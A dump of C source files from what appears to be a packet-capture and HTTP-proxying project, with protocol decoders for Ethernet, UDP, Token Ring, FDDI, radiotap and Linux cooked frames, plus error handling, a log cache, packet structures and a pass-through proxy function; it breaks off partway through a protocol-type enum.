46 | FUNC_DECODER_PTR(next_decoder); 47 | struct erf_header *erf; 48 | 49 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 50 | 51 | DECODED_LEN = sizeof(struct erf_header); 52 | 53 | erf = (struct erf_header *)DECODE_DATA; 54 | 55 | /* check presence of extension header */ 56 | if (erf->type & 0x80) { 57 | DEBUG_MSG(D_INFO, "ERF Extension header not supported"); 58 | return NULL; 59 | } 60 | 61 | /* HOOK POINT : HOOK_PACKET_ERF */ 62 | hook_point(HOOK_PACKET_ERF, po); 63 | 64 | /* ethernet packets */ 65 | if (erf->type == 0x02) { 66 | 67 | /* remove the padding */ 68 | DECODED_LEN += 2; 69 | 70 | /* leave the control to the ethernet decoder */ 71 | next_decoder = get_decoder(LINK_LAYER, IL_TYPE_ETH); 72 | 73 | EXECUTE_DECODER(next_decoder); 74 | } 75 | 76 | return NULL; 77 | } 78 | 79 | 80 | /* EOF */ 81 | 82 | // vim:ts=3:expandtab 83 | 84 | -------------------------------------------------------------------------------- /src/protocols/udp.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- UDP decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: udp.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | /* globals */ 13 | 14 | struct udp_header { 15 | u_int16 sport; /* source port */ 16 | u_int16 dport; /* destination port */ 17 | u_int16 ulen; /* udp length */ 18 | u_int16 csum; /* udp checksum */ 19 | }; 20 | 21 | /* protos */ 22 | 23 | FUNC_DECODER(decode_udp); 24 | void udp_init(void); 25 | 26 | /*******************************************/ 27 | 28 | /* 29 | * this function is the initializer. 30 | * it adds the entry in the table of registered decoder 31 | */ 32 | 33 | void __init udp_init(void) 34 | { 35 | add_decoder(PROTO_LAYER, NL_TYPE_UDP, decode_udp); 36 | } 37 | 38 | 39 | FUNC_DECODER(decode_udp) 40 | { 41 | struct udp_header *udp; 42 | 43 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 44 | 45 | udp = (struct udp_header *)DECODE_DATA; 46 | 47 | DECODED_LEN = sizeof(struct udp_header); 48 | 49 | /* source and dest port */ 50 | PACKET->L4.src = udp->sport; 51 | PACKET->L4.dst = udp->dport; 52 | 53 | PACKET->L4.len = DECODED_LEN; 54 | PACKET->L4.header = (u_char *)DECODE_DATA; 55 | PACKET->L4.options = NULL; 56 | 57 | /* this is UDP */ 58 | PACKET->L4.proto = NL_TYPE_UDP; 59 | 60 | /* set up the data poiters */ 61 | PACKET->DATA.data = ((u_char *)udp) + sizeof(struct udp_header); 62 | if (ntohs(udp->ulen) < (u_int16)sizeof(struct udp_header)) 63 | return NULL; 64 | PACKET->DATA.len = ntohs(udp->ulen) - (u_int16)sizeof(struct udp_header); 65 | 66 | /* HOOK POINT: HOOK_PACKET_UDP */ 67 | hook_point(HOOK_PACKET_UDP, po); 68 | 69 | return NULL; 70 | } 71 | 72 | 73 | /* EOF */ 74 | 75 | // vim:ts=3:expandtab 76 | 77 | -------------------------------------------------------------------------------- /src/protocols/eth.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- ETH decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: eth.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | 15 | struct eth_header 16 | { 17 | u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ 18 | u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ 19 | u_int16 proto; /* packet type ID field */ 20 | }; 21 | 22 | /* protos */ 23 | 24 | FUNC_DECODER(decode_eth); 25 | void eth_init(void); 26 | 27 | /*******************************************/ 28 | 29 | /* 30 | * this function is the initializer. 31 | * it adds the entry in the table of registered decoder 32 | */ 33 | 34 | void __init eth_init(void) 35 | { 36 | add_decoder(LINK_LAYER, IL_TYPE_ETH, decode_eth); 37 | } 38 | 39 | 40 | FUNC_DECODER(decode_eth) 41 | { 42 | FUNC_DECODER_PTR(next_decoder); 43 | struct eth_header *eth; 44 | 45 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 46 | 47 | DECODED_LEN = sizeof(struct eth_header); 48 | 49 | eth = (struct eth_header *)DECODE_DATA; 50 | 51 | /* fill the packet object with sensitive data */ 52 | PACKET->L2.header = (u_char *)DECODE_DATA; 53 | PACKET->L2.proto = IL_TYPE_ETH; 54 | PACKET->L2.len = DECODED_LEN; 55 | 56 | memcpy(PACKET->L2.src, eth->sha, ETH_ADDR_LEN); 57 | memcpy(PACKET->L2.dst, eth->dha, ETH_ADDR_LEN); 58 | 59 | /* HOOK POINT : HOOK_PACKET_ETH */ 60 | hook_point(HOOK_PACKET_ETH, po); 61 | 62 | /* leave the control to the next decoder */ 63 | next_decoder = get_decoder(NET_LAYER, ntohs(eth->proto)); 64 | 65 | EXECUTE_DECODER(next_decoder); 66 | 67 | /* eth header does not care about modification of upper layer */ 68 | 69 | return NULL; 70 | } 71 | 72 | /* EOF */ 73 | 74 | // vim:ts=3:expandtab 75 | 76 | -------------------------------------------------------------------------------- /src/protocols/cooked.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- linux cooked decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: cooked.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | #define COOKED_LEN 16 15 | #define PROTO_OFFSET 14 16 | #define SENT_BY_US 4 17 | 18 | /* protos */ 19 | 20 | FUNC_DECODER(decode_cook); 21 | void cook_init(void); 22 | 23 | /*******************************************/ 24 | 25 | /* 26 | * this function is the initializer. 27 | * it adds the entry in the table of registered decoder 28 | */ 29 | 30 | void __init cook_init(void) 31 | { 32 | add_decoder(LINK_LAYER, IL_TYPE_COOK, decode_cook); 33 | } 34 | 35 | 36 | FUNC_DECODER(decode_cook) 37 | { 38 | FUNC_DECODER_PTR(next_decoder); 39 | u_int16 proto; 40 | u_int16 pck_type; 41 | char bogus_mac[6]="\x00\x01\x00\x01\x00\x01"; 42 | 43 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 44 | 45 | DECODED_LEN = COOKED_LEN; 46 | proto = pntos(DECODE_DATA + PROTO_OFFSET); 47 | pck_type = pntos(DECODE_DATA); 48 | 49 | PACKET->L2.header = (u_char *)DECODE_DATA; 50 | PACKET->L2.proto = IL_TYPE_COOK; 51 | PACKET->L2.len = DECODED_LEN; 52 | 53 | /* By default L2.src and L2.dst are NULL, so are equal to our 54 | * "mac address". According to packet type we set bogus source 55 | * or dest to help other decoders to guess if the packet is for us 56 | * (check_forwarded, set_forwardable_flag and so on) 57 | */ 58 | if (pck_type != SENT_BY_US) 59 | memcpy(PACKET->L2.src, bogus_mac, ETH_ADDR_LEN); 60 | else 61 | memcpy(PACKET->L2.dst, bogus_mac, ETH_ADDR_LEN); 62 | 63 | next_decoder = get_decoder(NET_LAYER, proto); 64 | EXECUTE_DECODER(next_decoder); 65 | 66 | return NULL; 67 | } 68 | 69 | /* EOF */ 70 | 71 | // vim:ts=3:expandtab 72 | 73 | -------------------------------------------------------------------------------- /src/error.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- error handling module 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: error.c 2777 2010-08-25 11:54:03Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #define ERROR_MSG_LEN 200 16 | 17 | void error_msg(char *file, const char *function, int line, char *message, ...); 18 | void fatal_error_msg(char *message, ...); 19 | void bug(char *file, const char *function, int line, char *message); 20 | 21 | /*******************************************/ 22 | 23 | /* 24 | * raise an error 25 | */ 26 | void error_msg(char *file, const char *function, int line, char *message, ...) 27 | { 28 | va_list ap; 29 | char errmsg[ERROR_MSG_LEN + 1]; /* should be enough */ 30 | 31 | va_start(ap, message); 32 | vsnprintf(errmsg, ERROR_MSG_LEN, message, ap); 33 | va_end(ap); 34 | 35 | DEBUG_MSG(D_ERROR, "ERROR : %d, %s | %s [%s:%s:%d]", errno, strerror(errno), errmsg, file, function, line); 36 | 37 | fprintf(stderr, "ERROR : %d, %s\n[%s:%s:%d]\n\n %s \n\n", errno, strerror(errno), file, function, line, errmsg); 38 | 39 | exit(-errno); 40 | } 41 | 42 | 43 | /* 44 | * raise a fatal error 45 | */ 46 | void fatal_error(char *message, ...) 47 | { 48 | va_list ap; 49 | char errmsg[ERROR_MSG_LEN + 1]; /* should be enough */ 50 | 51 | va_start(ap, message); 52 | vsnprintf(errmsg, ERROR_MSG_LEN, message, ap); 53 | va_end(ap); 54 | 55 | /* if debug was initialized... */ 56 | DEBUG_MSG(D_ERROR, "FATAL: %s", errmsg); 57 | 58 | /* invoke the ui method */ 59 | ui_fatal_error(errmsg); 60 | 61 | /* the ui should exits, but to be sure... */ 62 | exit(-1); 63 | } 64 | 65 | /* 66 | * used in sanity check 67 | * it represent a BUG in the software 68 | */ 69 | 70 | void bug(char *file, const char *function, int line, char *message) 71 | { 72 | DEBUG_MSG(D_ERROR, "BUG : [%s:%s:%d] %s \n", file, function, line, message ); 73 | 74 | fprintf(stderr, "\n\nBUG at [%s:%s:%d]\n\n %s \n\n", file, function, line, message ); 75 | 76 | exit(-666); 77 | } 78 | 79 | 80 | /* EOF */ 81 | 82 | // vim:ts=3:expandtab 83 | 84 | -------------------------------------------------------------------------------- /include/match_fqdn.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: match_fqdn.h 1062 2009-10-28 14:32:48Z alor $ */ 3 | 4 | #ifndef __MATCH_FQDN_H 5 | #define __MATCH_FQDN_H 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define ENTRIES 51 18 | #define DISPLACE 45 19 | #define MILLION 1000000 20 | #define ITERATOR 1 21 | #define CYCLES 100 22 | 23 | struct dns_header { 24 | uint16_t id; /* DNS packet ID */ 25 | #ifdef WORDS_BIGENDIAN 26 | u_char qr: 1; /* response flag */ 27 | u_char opcode: 4; /* purpose of message */ 28 | u_char aa: 1; /* authoritative answer */ 29 | u_char tc: 1; /* truncated message */ 30 | u_char rd: 1; /* recursion desired */ 31 | u_char ra: 1; /* recursion available */ 32 | u_char unused: 1; /* unused bits */ 33 | u_char ad: 1; /* authentic data from named */ 34 | u_char cd: 1; /* checking disabled by resolver */ 35 | u_char rcode: 4; /* response code */ 36 | #else /* WORDS_LITTLEENDIAN */ 37 | u_char rd: 1; /* recursion desired */ 38 | u_char tc: 1; /* truncated message */ 39 | u_char aa: 1; /* authoritative answer */ 40 | u_char opcode: 4; /* purpose of message */ 41 | u_char qr: 1; /* response flag */ 42 | u_char rcode: 4; /* response code */ 43 | u_char cd: 1; /* checking disabled by resolver */ 44 | u_char ad: 1; /* authentic data from named */ 45 | u_char unused: 1; /* unused bits */ 46 | u_char ra: 1; /* recursion available */ 47 | #endif 48 | uint16_t num_q; /* Number of questions */ 49 | uint16_t num_answer; /* Number of answer resource records */ 50 | uint16_t num_auth; /* Number of authority resource records */ 51 | uint16_t num_res; /* Number of additional resource records */ 52 | }; 53 | 54 | 55 | struct trie_node_t { 56 | char value; 57 | char type; 58 | struct trie_node_t* next[ENTRIES]; 59 | }; 60 | 61 | typedef struct trie_node_t tn_t; 62 | 63 | #endif 64 | -------------------------------------------------------------------------------- /src/protocols/tr.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- TOKEN RING decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: tr.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | struct token_ring_header 15 | { 16 | u_int8 access_control; 17 | #define TR_FRAME 0x10 18 | u_int8 frame_control; 19 | #define TR_LLC_FRAME 0x40 20 | u_int8 dha[TR_ADDR_LEN]; 21 | u_int8 sha[TR_ADDR_LEN]; 22 | u_int8 llc_dsap; 23 | u_int8 llc_ssap; 24 | u_int8 llc_control; 25 | u_int8 llc_org_code[3]; 26 | u_int16 proto; 27 | }; 28 | 29 | /* encapsulated ethernet */ 30 | u_int8 TR_ORG_CODE[3] = {0x00, 0x00, 0x00}; 31 | 32 | /* protos */ 33 | 34 | FUNC_DECODER(decode_tr); 35 | void tr_init(void); 36 | 37 | /*******************************************/ 38 | 39 | /* 40 | * this function is the initializer. 41 | * it adds the entry in the table of registered decoder 42 | */ 43 | 44 | void __init tr_init(void) 45 | { 46 | //add_decoder(LINK_LAYER, IL_TYPE_TR, decode_tr); 47 | } 48 | 49 | 50 | FUNC_DECODER(decode_tr) 51 | { 52 | FUNC_DECODER_PTR(next_decoder); 53 | struct token_ring_header *tr; 54 | 55 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 56 | 57 | DECODED_LEN = sizeof(struct token_ring_header); 58 | 59 | tr = (struct token_ring_header *)DECODE_DATA; 60 | 61 | /* org_code != encapsulated ethernet not yet supported */ 62 | if (memcmp(tr->llc_org_code, TR_ORG_CODE, 3)) 63 | NOT_IMPLEMENTED(); 64 | 65 | /* fill the packet object with sensitive data */ 66 | PACKET->L2.header = (u_char *)DECODE_DATA; 67 | PACKET->L2.proto = IL_TYPE_TR; 68 | PACKET->L2.len = DECODED_LEN; 69 | 70 | memcpy(PACKET->L2.src, tr->sha, TR_ADDR_LEN); 71 | memcpy(PACKET->L2.dst, tr->dha, TR_ADDR_LEN); 72 | 73 | /* HOOK POINT : HOOK_PACKET_tr */ 74 | hook_point(HOOK_PACKET_TR, po); 75 | 76 | /* leave the control to the next decoder */ 77 | next_decoder = get_decoder(NET_LAYER, ntohs(tr->proto)); 78 | 79 | EXECUTE_DECODER(next_decoder); 80 | 81 | /* token ring header does not care about modification of upper layer */ 82 | 83 | return NULL; 84 | } 85 | 86 | /* EOF */ 87 | 88 | // vim:ts=3:expandtab 89 | 90 | -------------------------------------------------------------------------------- /src/protocols/wifi_radiotap.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Radiotap header for WiFi packets 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: wifi_radiotap.c 2672 2010-07-13 09:05:28Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | 15 | struct __attribute__ ((__packed__)) radiotap_header { 16 | u_int8 version; 17 | u_int8 pad; 18 | u_int16 len; 19 | u_int32 present_flags; 20 | #define RADIO_PRESENT_TSFT 0x01 21 | #define RADIO_PRESENT_FLAGS 0x02 22 | #define RADIO_PRESENT_RATE 0x04 23 | #define RADIO_PRESENT_CHANNEL 0x08 24 | }; 25 | 26 | #define RADIO_FLAGS_FCS 0x10 27 | 28 | /* protos */ 29 | 30 | FUNC_DECODER(decode_radiotap); 31 | void radiotap_init(void); 32 | 33 | /*******************************************/ 34 | 35 | /* 36 | * this function is the initializer. 37 | * it adds the entry in the table of registered decoder 38 | */ 39 | 40 | void __init radiotap_init(void) 41 | { 42 | add_decoder(LINK_LAYER, IL_TYPE_RADIO, decode_radiotap); 43 | } 44 | 45 | 46 | FUNC_DECODER(decode_radiotap) 47 | { 48 | FUNC_DECODER_PTR(next_decoder); 49 | struct radiotap_header *radio; 50 | u_char *rh; 51 | u_int8 flags = 0; 52 | 53 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 54 | 55 | /* get the header */ 56 | radio = (struct radiotap_header *)DECODE_DATA; 57 | rh = (u_char *)(radio + 1); 58 | 59 | /* get the length of the header */ 60 | DECODED_LEN = radio->len; 61 | 62 | /* 63 | * scan for the presence of the information 64 | * we are lucky since the FLAGS we are searching is the second field 65 | * and we don't have to scan for all of them 66 | */ 67 | if ((radio->present_flags & RADIO_PRESENT_TSFT)) { 68 | /* the TSFT is 1 byte */ 69 | rh += 1; 70 | } 71 | 72 | if ((radio->present_flags & RADIO_PRESENT_FLAGS)) { 73 | /* read the flags (1 byte) */ 74 | flags = *rh; 75 | } 76 | 77 | /* mark the packet, since we have an FCS at the end */ 78 | if ((flags & RADIO_FLAGS_FCS)) 79 | PACKET->L2.flags |= PO_L2_FCS; 80 | 81 | next_decoder = get_decoder(LINK_LAYER, IL_TYPE_WIFI); 82 | EXECUTE_DECODER(next_decoder); 83 | 84 | return NULL; 85 | } 86 | 87 | /* EOF */ 88 | 89 | // vim:ts=3:expandtab 90 | 91 | -------------------------------------------------------------------------------- /src/protocols/fddi.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- FDDI decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: fddi.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | struct fddi_header 15 | { 16 | u_int8 frame_control; 17 | u_int8 dha[FDDI_ADDR_LEN]; 18 | u_int8 sha[FDDI_ADDR_LEN]; 19 | u_int8 llc_dsap; 20 | u_int8 llc_ssap; 21 | u_int8 llc_control; 22 | u_int8 llc_org_code[3]; 23 | /* 24 | * ARGH ! org_core is 3 and it has disaligned the struct ! 25 | * we can rely in on the alignment of the buffer... 26 | */ 27 | u_int16 proto; 28 | }; 29 | 30 | /* encapsulated ethernet */ 31 | u_int8 FDDI_ORG_CODE[3] = {0x00, 0x00, 0x00}; 32 | 33 | /* protos */ 34 | 35 | FUNC_DECODER(decode_fddi); 36 | void fddi_init(void); 37 | 38 | /*******************************************/ 39 | 40 | /* 41 | * this function is the initializer. 42 | * it adds the entry in the table of registered decoder 43 | */ 44 | 45 | void __init fddi_init(void) 46 | { 47 | //add_decoder(LINK_LAYER, IL_TYPE_FDDI, decode_fddi); 48 | } 49 | 50 | 51 | FUNC_DECODER(decode_fddi) 52 | { 53 | FUNC_DECODER_PTR(next_decoder); 54 | struct fddi_header *fddi; 55 | 56 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 57 | 58 | DECODED_LEN = sizeof(struct fddi_header); 59 | 60 | fddi = (struct fddi_header *)DECODE_DATA; 61 | 62 | /* org_code != encapsulated ethernet not yet supported */ 63 | if (memcmp(fddi->llc_org_code, FDDI_ORG_CODE, 3)) 64 | NOT_IMPLEMENTED(); 65 | 66 | /* fill the packet object with sensitive data */ 67 | PACKET->L2.header = (u_char *)DECODE_DATA; 68 | PACKET->L2.proto = IL_TYPE_FDDI; 69 | PACKET->L2.len = DECODED_LEN; 70 | 71 | memcpy(PACKET->L2.src, fddi->sha, FDDI_ADDR_LEN); 72 | memcpy(PACKET->L2.dst, fddi->dha, FDDI_ADDR_LEN); 73 | 74 | /* HOOK POINT : HOOK_PACKET_fddi */ 75 | hook_point(HOOK_PACKET_FDDI, po); 76 | 77 | /* leave the control to the next decoder */ 78 | next_decoder = get_decoder(NET_LAYER, ntohs(fddi->proto)); 79 | 80 | EXECUTE_DECODER(next_decoder); 81 | 82 | /* fddi header does not care about modification of upper layer */ 83 | 84 | return NULL; 85 | } 86 | 87 | /* EOF */ 88 | 89 | // vim:ts=3:expandtab 90 | 91 | -------------------------------------------------------------------------------- /include/packet.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: packet.h 2672 2010-07-13 09:05:28Z alor $ */ 3 | 4 | #ifndef __PACKET_H 5 | #define __PACKET_H 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | 13 | struct packet_object { 14 | 15 | /* timestamp of the packet */ 16 | struct timeval ts; 17 | 18 | struct L2 { 19 | u_int8 proto; 20 | u_char * header; 21 | size_t len; 22 | u_int8 src[MEDIA_ADDR_LEN]; 23 | u_int8 dst[MEDIA_ADDR_LEN]; 24 | u_int16 vlan; 25 | u_int8 flags; 26 | #define PO_L2_FCS 0x01 27 | } L2; 28 | 29 | struct L3 { 30 | u_int16 proto; 31 | u_char * header; 32 | u_char * options; 33 | size_t len; 34 | size_t payload_len; 35 | size_t optlen; 36 | struct ip_addr src; 37 | struct ip_addr dst; 38 | u_int8 ttl; 39 | } L3; 40 | 41 | struct L4 { 42 | u_int8 proto; 43 | u_int8 flags; 44 | u_char * header; 45 | u_char * options; 46 | size_t len; 47 | size_t optlen; 48 | u_int16 src; 49 | u_int16 dst; 50 | u_int32 seq; 51 | u_int32 ack; 52 | } L4; 53 | 54 | struct data { 55 | u_char * data; 56 | size_t len; 57 | } DATA; 58 | 59 | size_t len; /* total length of the packet */ 60 | u_char * packet; /* the buffer containing the real packet */ 61 | 62 | u_int16 flags; /* flags relative to the packet */ 63 | #define PO_INTERESTING ((u_int16)(1<<7)) /* the packet is interesting */ 64 | #define PO_DUP ((u_int16)(1<<8)) /* the packet is a duplicate we have to free the buffer on destroy */ 65 | #define PO_EOF ((u_int16)(1<<9)) /* we are reading from a file and this is the last packet */ 66 | 67 | char tag[MAX_TAG_LEN]; /* used to tag packets belonging to a specific user */ 68 | }; 69 | 70 | inline int packet_create_object(struct packet_object *po, u_char * buf, size_t len); 71 | inline int packet_destroy_object(struct packet_object *po); 72 | struct packet_object * packet_dup(struct packet_object *po, u_char flag); 73 | 74 | /* Do we want to duplicate data? */ 75 | #define PO_DUP_NONE 0 76 | #define PO_DUP_PACKET 1 77 | 78 | #endif 79 | 80 | /* EOF */ 81 | 82 | // vim:ts=3:expandtab 83 | 84 | -------------------------------------------------------------------------------- /src/log.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- log cache 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: log.c 1200 2009-12-01 09:19:08Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | /* globals */ 15 | 16 | /* this is the array that will keep the log cache */ 17 | log_struct log_array[MAX_LOG_CACHE]; 18 | u_int log_write_pointer; 19 | u_int log_read_pointer; 20 | static pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER; 21 | 22 | /* protos */ 23 | 24 | void log_add(int type, char *desc); 25 | int log_get(RncProtoLog *plog); 26 | 27 | /************************************************/ 28 | 29 | void log_add(int type, char *desc) 30 | { 31 | time_t tt; 32 | struct tm *ttm; 33 | 34 | /* get the current timestamp */ 35 | time(&tt); 36 | ttm = localtime(&tt); 37 | 38 | /* to make the xml-rpc compliant */ 39 | ttm->tm_year += 1900; 40 | ttm->tm_mon += 1; 41 | 42 | pthread_mutex_lock(&log_mutex); 43 | 44 | /* create the log in the cache */ 45 | memcpy(&log_array[log_write_pointer].plog.timestamp, ttm, sizeof(struct mytm)); /* see the declaration of mytm */ 46 | snprintf(log_array[log_write_pointer].plog.desc, RNC_MAX_LOG_LEN - 1, "%s", desc); 47 | log_array[log_write_pointer].plog.type = type; 48 | 49 | /* mark the log as new */ 50 | log_array[log_write_pointer].flags = LOG_CACHE_NEW; 51 | 52 | /* increment the write pointer */ 53 | log_write_pointer++; 54 | 55 | /* 56 | * rewind if we reach the end of the array 57 | * newer logs will overwrite the older one 58 | */ 59 | if (log_write_pointer >= MAX_LOG_CACHE - 1) 60 | log_write_pointer = 0; 61 | 62 | pthread_mutex_unlock(&log_mutex); 63 | } 64 | 65 | int log_get(RncProtoLog *plog) 66 | { 67 | if (log_array[log_read_pointer].flags == LOG_CACHE_NEW) { 68 | 69 | /* return the log */ 70 | memcpy(plog, &log_array[log_read_pointer].plog, sizeof(RncProtoLog)); 71 | 72 | /* mark it read */ 73 | log_array[log_read_pointer].flags = LOG_CACHE_OLD; 74 | 75 | /* increment the read pointer */ 76 | log_read_pointer++; 77 | 78 | /* 79 | * rewind if we reach the end of the array 80 | */ 81 | if (log_read_pointer >= MAX_LOG_CACHE - 1) 82 | log_read_pointer = 0; 83 | 84 | return 1; 85 | } 86 | 87 | /* nothing to read */ 88 | return 0; 89 | } 90 | -------------------------------------------------------------------------------- /src/proxy_null.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- proxy module (the actual injector) 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: proxy_null.c 3000 2010-10-08 11:52:16Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | /* globals */ 20 | 21 | /* protos */ 22 | 23 | int proxy_null(BIO **cbio, BIO **sbio, char *header); 24 | 25 | /************************************************/ 26 | 27 | int proxy_null(BIO **cbio, BIO **sbio, char *header) 28 | { 29 | char data[READ_BUFF_SIZE]; 30 | int len, written; 31 | char *host, *p; 32 | 33 | /* retrieve the host tag */ 34 | host = strcasestr(header, HTTP_HOST_TAG); 35 | 36 | if (host == NULL) 37 | return -EINVALID; 38 | 39 | SAFE_STRDUP(host, host + strlen(HTTP_HOST_TAG)); 40 | 41 | /* trim the eol */ 42 | if ((p = strchr(host, '\r')) != NULL) 43 | *p = 0; 44 | if ((p = strchr(host, '\n')) != NULL) 45 | *p = 0; 46 | 47 | /* connect to the real server */ 48 | *sbio = BIO_new(BIO_s_connect()); 49 | BIO_set_conn_hostname(*sbio, host); 50 | BIO_set_conn_port(*sbio, "http"); 51 | 52 | if (BIO_do_connect(*sbio) <= 0) { 53 | DEBUG_MSG(D_ERROR, "Cannot connect to [%s]", host); 54 | SAFE_FREE(host); 55 | return -ENOADDRESS; 56 | } 57 | 58 | DEBUG_MSG(D_INFO, "Connection to [%s]", host); 59 | 60 | /* 61 | * sanitize the header to avoid strange reply from the server. 62 | * we don't want to cope with keep-alive !!! 63 | */ 64 | sanitize_header(header); 65 | 66 | /* send the request to the server */ 67 | BIO_puts(*sbio, header); 68 | 69 | memset(data, 0, sizeof(data)); 70 | written = 0; 71 | 72 | /* read the reply header from the server */ 73 | LOOP { 74 | len = BIO_read(*sbio, data + written, sizeof(char)); 75 | if (len <= 0) 76 | break; 77 | 78 | written += len; 79 | if (strstr(data, CR LF CR LF) || strstr(data, LF LF)) 80 | break; 81 | } 82 | 83 | /* send the headers to the client, the data will be sent in the callee function */ 84 | BIO_write(*cbio, data, written); 85 | 86 | SAFE_FREE(host); 87 | 88 | return ESUCCESS; 89 | } 90 | 91 | 92 | /* EOF */ 93 | 94 | // vim:ts=3:expandtab 95 | 96 | -------------------------------------------------------------------------------- /src/missing/strlcpy.c: -------------------------------------------------------------------------------- 1 | /* $OpenBSD: strlcpy.c,v 1.2 1998/11/06 04:33:16 wvdputte Exp $ */ 2 | 3 | /* 4 | * Copyright (c) 1998 Todd C. Miller 5 | * All rights reserved. 6 | * 7 | * Redistribution and use in source and binary forms, with or without 8 | * modification, are permitted provided that the following conditions 9 | * are met: 10 | * 1. Redistributions of source code must retain the above copyright 11 | * notice, this list of conditions and the following disclaimer. 12 | * 2. Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in the 14 | * documentation and/or other materials provided with the distribution. 15 | * 3. The name of the author may not be used to endorse or promote products 16 | * derived from this software without specific prior written permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, 19 | * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY 20 | * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL 21 | * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 23 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; 24 | * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 25 | * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 26 | * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 27 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | */ 29 | 30 | #include 31 | #include 32 | 33 | size_t strlcpy(char *, const char *, size_t); 34 | 35 | /* 36 | * Copy src to string dst of size siz. At most siz-1 characters 37 | * will be copied. Always NUL terminates (unless siz == 0). 38 | * Returns strlen(src); if retval >= siz, truncation occurred. 39 | */ 40 | size_t strlcpy(dst, src, siz) 41 | char *dst; 42 | const char *src; 43 | size_t siz; 44 | { 45 | register char *d = dst; 46 | register const char *s = src; 47 | register size_t n = siz; 48 | 49 | if (n == 0) 50 | return(strlen(s)); 51 | while (*s != '\0') { 52 | if (n != 1) { 53 | *d++ = *s; 54 | n--; 55 | } 56 | s++; 57 | } 58 | *d = '\0'; 59 | 60 | return(s - src); /* count does not include NUL */ 61 | } 62 | -------------------------------------------------------------------------------- /include/proto.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: proto.h 3555 2011-06-07 08:41:22Z alor $ */ 3 | 4 | #ifndef __PROTO_H 5 | #define __PROTO_H 6 | 7 | #include 8 | 9 | /* interface layer types */ 10 | enum { 11 | IL_TYPE_NULL = 0x00, /* bsd loopback (used by some wifi cards in monitor mode) */ 12 | IL_TYPE_ETH = 0x01, /* ethernet */ 13 | IL_TYPE_TR = 0x06, /* token ring */ 14 | IL_TYPE_FDDI = 0x0a, /* fiber distributed data interface */ 15 | IL_TYPE_RAWIP = 0x0c, /* raw ip dump file */ 16 | IL_TYPE_WIFI = 0x69, /* wireless */ 17 | IL_TYPE_COOK = 0x71, /* linux cooked */ 18 | IL_TYPE_PRISM = 0x77, /* prism2 header for wifi dumps */ 19 | IL_TYPE_RADIO = 0x7F, /* radiotap header for wifi dumps */ 20 | IL_TYPE_ERF = 0xC5, /* ERF endace format */ 21 | 